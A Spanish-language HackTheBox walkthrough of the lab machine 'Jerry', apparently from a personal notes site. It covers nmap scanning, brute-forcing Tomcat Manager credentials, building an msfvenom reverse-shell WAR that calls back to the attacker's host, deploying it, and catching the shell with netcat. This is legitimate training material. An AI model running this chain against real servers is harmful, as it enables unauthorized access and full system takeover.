> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Guía de HackTheBox Jerry

Guía de la máquina HackTheBox Jerry Fácil Windows que cubre fuga de información, abuso de Tomcat (intrusión y escalada de privilegios), con enumeración práctica, explotación, acceso inicial y escalada de privile

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Habilidades:**

* Filtración de información
* Abusando de Tomcat (Intrusión y escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebe4bb372227f477989125fa4ff3755775dd5822%2Fimage%20(998).png?alt=media" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aedbe9255ceab70e1c5040297d40a30860fce6d0%2Fimage%20(999).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ba5862e56b69cf96e9efee8a7afd0a1b2a9d58f%2Fimage%20(1000).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3790a7781d9b18311e33d290d62080728c87c11c%2Fimage%20(1001).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0e1f71a751c7e21fd53561222c1886965481223%2Fimage%20(1002).png?alt=media" alt=""><figcaption></figcaption></figure>

## Puerto 8080 - Tomcat

El puerto 8080 aloja un servidor **Apache Tomcat**. Un análisis con `whatweb` revela la **7.0.88** versión, conocida por ser vulnerable.

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ba230d66a5401d2639587c18073ee2c2245b6ec%2Fimage%20(1003).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1383f6ee9dd62a2ad7c79d9e16c7fc013eded96f%2Fimage%20(1004).png?alt=media" alt=""><figcaption></figcaption></figure>

### Filtración de información

**Conectarse al panel de administración**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-374127d7338f7fab4a6beb3f0bd9460a03c4330b%2Fimage%20(1005).png?alt=media" alt=""><figcaption></figcaption></figure>

Intentamos acceder al `/manager/html` panel con credenciales predeterminadas (p. ej. `admin:admin`), pero esto falla.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Ataque de fuerza bruta sobre identificadores/*/*

Usamos la `tomcat-betterdefaultpasslist.txt` SecLists para realizar un ataque de fuerza bruta sobre las credenciales:

Para automatizar esta tarea, usamos un script de Python:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Resultado:** Las credenciales válidas encontradas son:/ `tomcat:s3cret`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436525c5ee4cba2f03eecf53ba238bad49c64b3a%2Fimage%20(1006).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cde9d6a0a85d7fdfda97e80b13a9452bb5228b85%2Fimage%20(1007).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vulnerabilidad de Tomcat:

**1. Generación de un archivo WAR:**/ Usamos `msfvenom` para crear un archivo WAR que contenga una shell inversa:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb6d5ea38d998d3153a92c9f4b345e3f4891433b%2Fimage%20(1008).png?alt=media" alt=""><figcaption></figcaption></figure>

**2. Despliegue a través del Manager de Tomcat:** / Cargamos el archivo WAR en el `/manager/html` panel.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d93f9969dce76ae1a6e01363164dbfc8461c299%2Fimage%20(1009).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**3. Escuchar la shell inversa:** / Configuramos un listener para capturar la conexión inversa:

```bash
rlwrap nc -nlvp 443
```

Al ejecutar el archivo desplegado (`/reverse`), obtenemos una shell interactiva en la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e7eb9a9a376d66e5be5cfaa4a8a433a665cea9%2Fimage%20(1010).png?alt=media" alt=""><figcaption></figcaption></figure>

### Banderas user.txt + root.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af8d667cf2ba1d077859733786cbacfa3fdebdb%2Fimage%20(1011).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4187410a631ef06c4fa373d724218232583b669d%2Fimage%20(1012).png?alt=media" alt="" width="509"><figcaption></figcaption></figure>


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